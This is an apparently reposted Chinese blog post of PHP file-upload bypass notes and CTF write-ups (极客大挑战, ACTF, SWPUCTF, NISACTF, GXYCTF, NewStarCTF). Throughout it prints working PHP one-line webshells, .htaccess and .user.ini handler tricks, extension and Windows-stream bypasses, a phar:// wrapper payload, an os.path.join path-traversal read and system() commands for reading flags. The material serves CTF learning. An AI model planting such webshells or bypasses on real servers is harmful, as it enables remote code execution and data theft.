文件上传之PHP

这篇具有很好参考价值的文章主要介绍了文件上传之PHP。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

一.知识

1.1一句话木马

(1)图片头

GIF89a

<script language="php">eval($_POST[8]);</script> 

<?php
@eval($_POST[8]);
echo "it is ok";
?>


php短标签
我们最常见的 PHP 标签就是<?php ?>了,但是 PHP 中还有两种短标签,即<? ?>和<?= ?>。当关键字 “php” 被过滤了之后,此时我们便不能使用<?php ?>了,但是我们可以用另外两种短标签进行绕过,并且在短标签中的代码不需要使用分号;。

其中,<? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>。例如:

<?eval($_POST[8]);?>

<?=eval($_POST[8]);?>

1.2绕过

Ⅰ黑名单:上传一个door.asd 来判断是黑名单还是白名单

(1)前端验证

将一句话木马保存成1.jpg格式,选择1.jpg文件,用burp拦截数据包,讲文件类型改成php

禁用JS
Begin of Upload考点:PHP文件上传漏洞
FLAG:动态FLAG
解题步骤本题主要考察PHP文件上传漏洞的前端校验绕过
编写含有一句话木马的文件命名为1.php内容为

<?php
@eval($_POST[8]);
echo "it is ok";
?>

点击上传文件,会弹出
文件上传之PHP,文件上传之PHP

想到题目是使用JavaScript对文件拓展名进行限制
打开浏览器设置禁用js
文件上传之PHP,文件上传之PHP

再次上传,得到上传文件的路径
文件上传之PHP,文件上传之PHP

访问路径 url/upload/1.php
然后命令执行得到flag
文件上传之PHP,文件上传之PHP

POST:
1=system('ls /');
1=system('cat /fllll4g ');

(2)Content-Type

上传1.php文件用burp拦截请求,将Content-Type改成image/jpeg

(3)不同后缀

.php3,.php4,.php5,.phtml,.pht

(4) .htaccess

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

注意里面的1.png要和你刚才上传的文件名一模一样!

AddType application/x-httpd-php .jpg

①②注意jpg还是png,要改为相应的。

(5)大小写绕过

将文件命名成1.PHp就可以上传

WEB容器除非非常老的版本,不然都不区分大小写

(6)'空’绕过

将文件命名成"1.php " 就可以上传,windows的需要burp修改数据包

(7)"点"绕过

将文件命名成1.php.就可以上传,windows的需要burp修改数据包

(8)::$DATA(Windows文件流绕过)

上传1.php文件,用burp修改数据包1.php后面加上::$DATA

(9)"点"和"空"绕过

’1.php. .’

(10)双写绕过

“1.pphphp”

Ⅱ白名单:

(11)

(12)

1.3os.path.join(path,*paths)函数

如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

1.4phar://

上传压缩包,然后利用PHP伪协议

phar://

读取Webshll文件

再访问:

?filename=phar://…/shell.zip/shell.php

2.1之前做的一些题

如何生成图片马

copy/b 11.jpg/b+11.php 11.jpg

Ⅰ.phtml, <?简单过滤

(1)一句话木马
故意使用了post和get用来迷惑人
https://127.0.0.1/shy.php?POST=assert 密码:GET

<?php $_GET['POST']($_POST['GET'])?>

(2)提示说不是图片,需要抓包改文件格式。将Content-Type里面的格式改为

image/jpeg

(3)带<?的一句话都不行

GIF89a? <script language="php">eval($_REQUEST[8])</script>

(4)现在需要知道图片的保存路径了。
一般都是

upload/filename

Ⅱ.前端验证, phtml

(1)一句话木马

<?php @eval($_POST[8]);?>

(2)前

jpg

(3)后缀

phtml

Ⅲ.htaccess

(1)一句话木马

GIF89a? 
<script language="php">eval($_POST[8]);</script>

(2).htaccess文件,里面的内容为:

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

注意里面的1.png要和你刚才上传的文件名一模一样!

AddType application/x-httpd-php .jpg

①②注意jpg还是png,要改为相应的。
(3)访问

得到

/var/www/html/upload/ba50cbfb34f9f155b88ae419dabfade8/b.jpg succesfully uploaded!

访问

/upload/ba50cbfb34f9f155b88ae419dabfade8/b.jpg 

Ⅳ.user.ini

(1).user.ini文件

GIF89a
auto_prepend_file=b.jpg

(2)

Your dir uploads/c55e0cb61f7eb238df09ae30a206e5ee
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(5) "b.jpg" [4]=> string(9) "index.php" }

(3)访问

uploads/c55e0cb61f7eb238df09ae30a206e5ee/b.jpg

二.实例

[极客大挑战 2019]Upload

进入,看到
文件上传之PHP,文件上传之PHP

要求上传图片,那我们直接上传图片马
<?php @eval($_POST[8]);?>和一张图片组成
文件上传之PHP,文件上传之PHP

报错
文件上传之PHP,文件上传之PHP

后缀改为.phtml,再次报错
文件上传之PHP,文件上传之PHP

图片马改为由<script language="php">eval($_POST['a']);</script> 和一张图片组成
文件上传之PHP,文件上传之PHP

成功上传
文件上传之PHP,文件上传之PHP

一般文件都在upload文件夹下
访问:
文件上传之PHP,文件上传之PHP

连蚁剑,得flag
文件上传之PHP,文件上传之PHP文件上传之PHP,文件上传之PHP

[ACTF2020 新生赛]Upload

进入,看到
文件上传之PHP,文件上传之PHP

我习惯直接上图片马
<?php @eval($_POST[8]);?>和一张图片组成

文件上传之PHP,文件上传之PHP

错误
文件上传之PHP,文件上传之PHP

将后缀名改为.phtml,上传成功
文件上传之PHP,文件上传之PHP

访问:
文件上传之PHP,文件上传之PHP

连蚁剑,得flag
文件上传之PHP,文件上传之PHP

NSS

[SWPUCTF 2021 新生赛]easyupload1.0

进来看到
文件上传之PHP,文件上传之PHP我们直接上传图片马
<?php @eval($_POST[8]);?>和一张图片组成
文件上传之PHP,文件上传之PHP

提示文件太大了,尝试上传改了后缀名变成图片的文本

<?php @eval($_POST[8]);?>

文件上传之PHP,文件上传之PHP
上传成功,连蚁剑
但你只会找到一个假的flag,真的在环境变量里
文件上传之PHP,文件上传之PHP

[SWPUCTF 2021 新生赛]easyupload2.0

进来看到
文件上传之PHP,文件上传之PHP

我们直接上传图片马
<?php @eval($_POST[8]);?>和一张图片组成
文件上传之PHP,文件上传之PHP
提示
文件上传之PHP,文件上传之PHP
修改后缀为phtml,上传成功文件上传之PHP,文件上传之PHP

连蚁剑
这一次很快就找到flag了
文件上传之PHP,文件上传之PHP

[SWPUCTF 2021 新生赛]easyupload3.0

进来看到
文件上传之PHP,文件上传之PHP
我们直接上传图片马
<?php @eval($_POST[8]);?>和一张图片组成
文件上传之PHP,文件上传之PHP

提示
文件上传之PHP,文件上传之PHP
"."绕过,在php后+.
文件上传之PHP,文件上传之PHP

上传成功
文件上传之PHP,文件上传之PHP
但没有用,访问到的是个图片,蚁剑也连接不上

正确步骤开始,先上传图片马,不修改后缀,再上传.htaccess文件
文件上传之PHP,文件上传之PHP
文件上传之PHP,文件上传之PHP

连蚁剑
文件上传之PHP,文件上传之PHP
flag的位置
文件上传之PHP,文件上传之PHP

[NISACTF 2022]babyupload

进来看到
文件上传之PHP,文件上传之PHP

我们直接上传图片马
<?php @eval($_POST[8]);?>和一张图片组成

文件上传之PHP,文件上传之PHP

提示

文件上传之PHP,文件上传之PHP

查看源代码

文件上传之PHP,文件上传之PHP

访问,下载文件
得到源代码
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid

app = Flask(__name__)

SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""


def db():
    g_db = getattr(g, '_database', None)
    if g_db is None:
        g_db = g._database = sqlite3.connect("database.db")
    return g_db


@app.before_first_request
def setup():
    os.remove("database.db")
    cur = db().cursor()
    cur.executescript(SCHEMA)


@app.route('/')
def hello_world():
    return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
    Select image to upload:
    <input type="file" name="file">
    <input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""


@app.route('/source')
def source():
    return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)


@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return redirect('/')
    file = request.files['file']
    if "." in file.filename:
        return "Bad filename!", 403
    conn = db()
    cur = conn.cursor()
    uid = uuid.uuid4().hex
    try:
        cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
    except sqlite3.IntegrityError:
        return "Duplicate file"
    conn.commit()

    file.save('uploads/' + file.filename)
    return redirect('/file/' + uid)


@app.route('/file/<id>')
def file(id):
    conn = db()
    cur = conn.cursor()
    cur.execute("select path from files where id=?", (id,))
    res = cur.fetchone()
    if res is None:
        return "File not found", 404

    # print(res[0])

    with open(os.path.join("uploads/", res[0]), "r") as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)
	

我们直接看最关键的def upload和def file里的内容,意思是,上传的文件不能有后缀名,且文件名前会拼接一个前缀upload/,使得输出的文件只能是在目录upload/下的,这里就涉及到os.path.join()的绝对路径拼接漏洞:

绝对路径拼接漏洞

os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。

然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径

即,若我们使得res[0]=‘/flag’,则可以读取到根目录下的flag文件,因此利用bp抓包,修改文件名为/flag即可:
文件上传之PHP,文件上传之PHP

直接访问得到的路径

文件上传之PHP,文件上传之PHP

[NISACTF 2022]bingdundun~

文件上传之PHP,文件上传之PHP文件上传之PHP,文件上传之PHP

上传压缩包,然后利用PHP伪协议

phar://

读取Webshll文件

一句话木马

<?php @eval($_POST[8]);?>

文件上传之PHP,文件上传之PHP文件上传之PHP,文件上传之PHP

文件上传之PHP,文件上传之PHP

再访问:?filename=phar://…/shell.zip/shell.php
这里经过尝试后给出payload:

?bingdundun=phar://7e7ceaffb13d396bcaa49d85349428b6.zip/shell

文件上传之PHP,文件上传之PHP

连蚁剑
文件上传之PHP,文件上传之PHP

[GXYCTF 2019]BabyUpload

这题我先上传了一个正常的图片,一直传不上。奇了怪了,原来是对图片大小还有限制。

传个空的jpg文件上传成功。

上传php2, php3, php4, php5, phps, pht, phtm, phtml后缀也都爆出ph的检查。

还对php有检查
使用

GIF89a? 
<script language="php">eval($_POST[8]);</script>

上传.htaccess文件修改content-type为image/jpeg可绕过检查。

文件上传之PHP,文件上传之PHP

33.jpg

GIF89a? 
<script language="php">eval($_POST[8]);</script>

.htaccess

<FilesMatch "33.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

文件上传之PHP,文件上传之PHP
连菜刀

http://node4.anna.nssctf.cn:28040/upload/4d05b7e23252d35a34285a0c2a828379/33.jpg

文件上传之PHP,文件上传之PHP

。NewStarCTF 2023

Begin of Upload

Begin of Upload考点:PHP文件上传漏洞
FLAG:动态FLAG
解题步骤本题主要考察PHP文件上传漏洞的前端校验绕

编写含有一句话木马的文件命名为1.php内容为

<?php
@eval($_POST[8]);
echo "it is ok";
?>

点击上传文件,会弹出
文件上传之PHP,文件上传之PHP

想到题目是使用JavaScript对文件拓展名进行限制
打开浏览器设置禁用js
文件上传之PHP,文件上传之PHP

再次上传,得到上传文件的路径
文件上传之PHP,文件上传之PHP

访问路径url/upload/1.php
然后命令执行得到flag
文件上传之PHP,文件上传之PHP

POST:
1=system('ls /');
1=system('cat /fllll4g ');

Upload again!

文件上传之PHP,文件上传之PHP

试着上传图片马

<?php
@eval($_POST[8]);
echo "it is ok";
?>

文件上传之PHP,文件上传之PHP

不行,现在来判断是黑名单还是白名单
文件上传之PHP,文件上传之PHP

换了一种提示方式,猜测应该是对马有要求
换成这个

<script language="php">eval($_POST[8]);</script> 

再次上传
文件上传之PHP,文件上传之PHP

图片上传成功,还需要上传.htaccess文件
文件上传之PHP,文件上传之PHP

连蚁剑

http://a5b725de-8dc0-4ba6-83b8-51f5c3da83d7.node4.buuoj.cn:81/upload/22.jpg

文件上传之PHP,文件上传之PHP文章来源地址https://www.toymoban.com/news/detail-611368.html

到了这里,关于文件上传之PHP的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • PHP模拟上传文件使用CURLFile函数 加精!!!

    一、CURLFile 介绍 CURLFile::__construct (PHP 5 = 5.5.0, PHP 7) CURLFile::__construct – curl_file_create — 创建 CURLFile 对象 说明 面向对象风格 过程化风格 创建 CURLFile 对象,使用 CURLOPT_POSTFIELDS 选项上传文件。 参数 filename 被上传文件的 路径。 mimetype 被上传文件的 MIME 类型。 postname 上传数据里

    2024年02月05日
    浏览(65)
  • PHP文件上传中fileinfo出现的安全问题

    fileinfo的函数通过在文件的给定位置查找特定的魔术字节序列 来猜测文件的内容类型以及编码,也就是说我们可以获得上传文件的MIME信息 在windows中我们可以在php.ini中开启 在linux中开启fileinfo 在打开fileinfo后我们就可以使用fileinfo扩展了 那fileinfo包括哪些呢 像如图红圈中的那

    2024年02月06日
    浏览(40)
  • Unity UnityWebRequest 向php后端上传图片文件

    之前测试功能写过一次,因为代码忘记保存,导致真正用到的时候怎么也想不起来当初怎么写的了,复现后还是写个文章记录一下,省的下次再忘记。 搞定。

    2024年01月23日
    浏览(39)
  • 【PHP】问题已解决:宝塔面板搭建php网站无法上传图片或是文件(保姆级图文)

    『PHP』分享PHP环境配置到项目实战个人学习笔记。 欢迎关注 『PHP』 系列,持续更新中 欢迎关注 『PHP』 系列,持续更新中 宝塔面板搭建php网站无法上传图片或是文件。 检查你的php里是否安装了 fileinfo 扩展,这会影响文件上传,而且因为宝塔面板让你有多个版本的php,所以

    2024年02月07日
    浏览(36)
  • PHP表单传值和文件上传:深入解析数据交互与文件处理技术

    目录 表单传值 为什么要表单传值? 表单传值的方式 GET传值 POST传值 GET和POST两种传参方式的不同: PHP接受数据的三种方式 PHP处理复选框数据 复选框表单的命名方式 复选框数据的接受形式 复选框数据的常见处理 复选框细节: 文件上传 原理 表单写法 $_FILES变量详解 移动临

    2024年02月12日
    浏览(38)
  • 锐捷NBR路由器fileupload.php任意文件上传漏洞

    锐捷NBR路由器是锐捷网络科技有限公司推出的一款高性能企业级路由器。NBR是\\\"Next-Generation Broadband Router\\\"的缩写,意为\\\"下一代宽带路由器\\\"。该路由器具有强大的处理能力和丰富的功能,适用于中小型企业、校园网络和数据中心等场景。锐捷 NBR 路由器 存在任意文件上传漏洞,

    2024年02月08日
    浏览(30)
  • 文件上传upload-labs第三关,Apache无法解析php3、php5等问题

    修改文件后缀名为php5,上传后。无法解析php5 参考网上众多教程,修改httpd.conf配置文件: 添加.php3 .php5 phtml,大部分都可以解决 PHPStudy中AddType application/x-httpd-php等Apache命令之所以在Apache的设置文件中设置后未实现目标效果是由于PHP的版本不符导致的 修改版本,切换到如图所

    2024年02月12日
    浏览(40)
  • 第25天:安全开发-PHP应用&文件管理&包含&写入&删除&下载&上传&遍历&安全

    1.文件上传: 无过滤机制 黑名单过滤机制 白名单过滤机制 文件类型过滤机制 2.文件删除: unlink() 文件删除函数 调用命令删除:system shell_exec exec等 3. 文件下载: 修改HTTP头实现文件读取解析下载: 1.文件包含: 2.架构: 上传至服务器本身的存储磁盘(源码在一起) 云产品OS

    2024年04月29日
    浏览(31)
  • layui框架实战案例(21):layui上传的哪些事(layui.upload组件、 file文件域、php后台上传)

    在网速一般的情况下,大文件的上传通常需要一定时间的等待,而浏览器并不会醒目地告知你它正在努力地上传中,此时为了提升用户体验,我们可以通过该回调制作一个进度条。注: 该回调为 layui 2.5.5 新增 编辑时,读取数据库自动进行预览; 上传时,通过下面JQ代码进行

    2024年01月16日
    浏览(45)
  • 2.php开发-个人博客项目&文件操作类&编辑器&上传下载删除读写

    ​ ​ ​ 文件上传类: form表单上传文件 --文件上传,--php接收,处理 action ---提交给谁处理 move函数移到文件 ---文件上传漏洞啊!!! ——ueditor 实现编辑器的加载 上传文件的方法: 用了编辑器,就要用编辑器去验证了(编辑器没漏洞,那就没漏洞——他有问题就有问题,

    2024年01月21日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包